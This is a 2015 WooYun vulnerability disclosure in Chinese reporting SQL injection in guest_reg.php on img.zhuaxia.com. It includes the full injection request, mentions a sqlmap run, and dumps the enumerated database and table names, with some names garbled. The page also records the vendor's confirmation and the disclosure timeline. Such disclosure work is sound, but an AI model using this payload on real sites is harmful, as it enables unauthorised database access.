当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120463

漏洞标题:抓虾网某站注入

相关厂商:zhuaxia.com

漏洞作者: 路人甲

提交时间:2015-06-14 20:04

修复时间:2015-07-30 11:32

公开时间:2015-07-30 11:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-14: 细节已通知厂商并且等待厂商处理中
2015-06-15: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向核心白帽子及相关领域专家公开
2015-07-05: 细节向普通白帽子公开
2015-07-15: 细节向实习白帽子公开
2015-07-30: 细节向公众公开

简要描述:

RT

详细说明:

img.zhuaxia.com存在问题的站点,我们抓个包

GET /guest_reg.php?add_url=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&from=addExternalChannel HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://img.zhuaxia.com:80/
Cookie: zid=6f4c612d2d38a279
Host: img.zhuaxia.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


sqlmap跑一跑

QQ截图20150614165727.jpg


Database: dba
[1 table]
+---------------------------------------+
| heartbeat |
+---------------------------------------+
Database: crawler
[14 tables]
+---------------------------------------+
| channel_level |
| channel_mem |
| channel_source |
| channel_source_old |
| flink_bsp |
| flink_bsp_keyword |
| flink_keyword |
| item_mem |
| item_mem_extend |
| item_source |
| ping_record |
| proxy |
| proxy_domain |
| rsu_item_source |
+---------------------------------------+
Database: information_schema
[65 tables]
+---------------------------------------+
| CHARACTER_SEYS |
| CLIENT_STATISTICS |
| COLLATIONS |
| COLLATION_CHCRACTER_SET_APPLICABILITY |
| COLLMNS |
| COLUMN_PRMVILEGES |
| ENGINES |
| EVENTS |
| FIQES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INDEX_STATISTICS |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_PAGES |
| INNODB_BUFFER_POOL_PAGES_BLOB |
| INNODB_BUFFER_POOLaSTATS |
| INNODB_BaFFER_POOL_PAGES_INDEX |
| INNODB_CHANGED_PAGES |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMP_RESET |
| INNODB_LNDEY_STATS |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_RSEG |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_STAaS |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESTATS |
| INNODB_TRX |
| INNODB_UNDO_LOGS |
| INNODs_CMPMEM_RESET |
| INNPDB_TABLE_STATS |
| KEY_COLUMN_USAGG |
| PARAMETERS |
| PARTITIONS |
| PROCESSLIST |
| PROFILING |
| QUERY_RESPONSE_TIME |
| ROUTINES |
| SCHEMA_PRIVILEGES |
| SCHEaATA |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLE_STATISTICS |
| THREAD_STATISTICS |
| TRIGGERS |
| USER_PRIVILEGES |
| USER_STATISTICS |
| VIEWS |
| XTRADB_ADMIN_COMMAND |
| GLOBAL_TEMPORAR\\_TABLES |
| PLUGINS\x03 |
| REFERENTIAL_CONSTRAINTS\t |
| TEMPOA_Y_TABLES |
+---------------------------------------+
Database: mysql
[24 tables]
+---------------------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyyord |
| help_relation |
| help_topic |
| host |
| ndb_binloi_index |
| pluginA |
| proc |
| procs_priv |
| proxqes_priv |
| servers |
| slow_loi |
| tables_priv |
| tame_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition_type |
| time_zone_tsansition |
+---------------------------------------+


漏洞证明:

img.zhuaxia.com存在问题的站点,我们抓个包

GET /guest_reg.php?add_url=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&from=addExternalChannel HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://img.zhuaxia.com:80/
Cookie: zid=6f4c612d2d38a279
Host: img.zhuaxia.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


sqlmap跑一跑

QQ截图20150614165727.jpg


Database: dba
[1 table]
+---------------------------------------+
| heartbeat |
+---------------------------------------+
Database: crawler
[14 tables]
+---------------------------------------+
| channel_level |
| channel_mem |
| channel_source |
| channel_source_old |
| flink_bsp |
| flink_bsp_keyword |
| flink_keyword |
| item_mem |
| item_mem_extend |
| item_source |
| ping_record |
| proxy |
| proxy_domain |
| rsu_item_source |
+---------------------------------------+
Database: information_schema
[65 tables]
+---------------------------------------+
| CHARACTER_SEYS |
| CLIENT_STATISTICS |
| COLLATIONS |
| COLLATION_CHCRACTER_SET_APPLICABILITY |
| COLLMNS |
| COLUMN_PRMVILEGES |
| ENGINES |
| EVENTS |
| FIQES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INDEX_STATISTICS |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_PAGES |
| INNODB_BUFFER_POOL_PAGES_BLOB |
| INNODB_BUFFER_POOLaSTATS |
| INNODB_BaFFER_POOL_PAGES_INDEX |
| INNODB_CHANGED_PAGES |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMP_RESET |
| INNODB_LNDEY_STATS |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_RSEG |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_STAaS |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESTATS |
| INNODB_TRX |
| INNODB_UNDO_LOGS |
| INNODs_CMPMEM_RESET |
| INNPDB_TABLE_STATS |
| KEY_COLUMN_USAGG |
| PARAMETERS |
| PARTITIONS |
| PROCESSLIST |
| PROFILING |
| QUERY_RESPONSE_TIME |
| ROUTINES |
| SCHEMA_PRIVILEGES |
| SCHEaATA |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLE_STATISTICS |
| THREAD_STATISTICS |
| TRIGGERS |
| USER_PRIVILEGES |
| USER_STATISTICS |
| VIEWS |
| XTRADB_ADMIN_COMMAND |
| GLOBAL_TEMPORAR\\_TABLES |
| PLUGINS\x03 |
| REFERENTIAL_CONSTRAINTS\t |
| TEMPOA_Y_TABLES |
+---------------------------------------+
Database: mysql
[24 tables]
+---------------------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyyord |
| help_relation |
| help_topic |
| host |
| ndb_binloi_index |
| pluginA |
| proc |
| procs_priv |
| proxqes_priv |
| servers |
| slow_loi |
| tables_priv |
| tame_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition_type |
| time_zone_tsansition |
+---------------------------------------+


修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-15 11:30

厂商回复:

多谢,立即组织修复

最新状态:

暂无


漏洞评价:

评论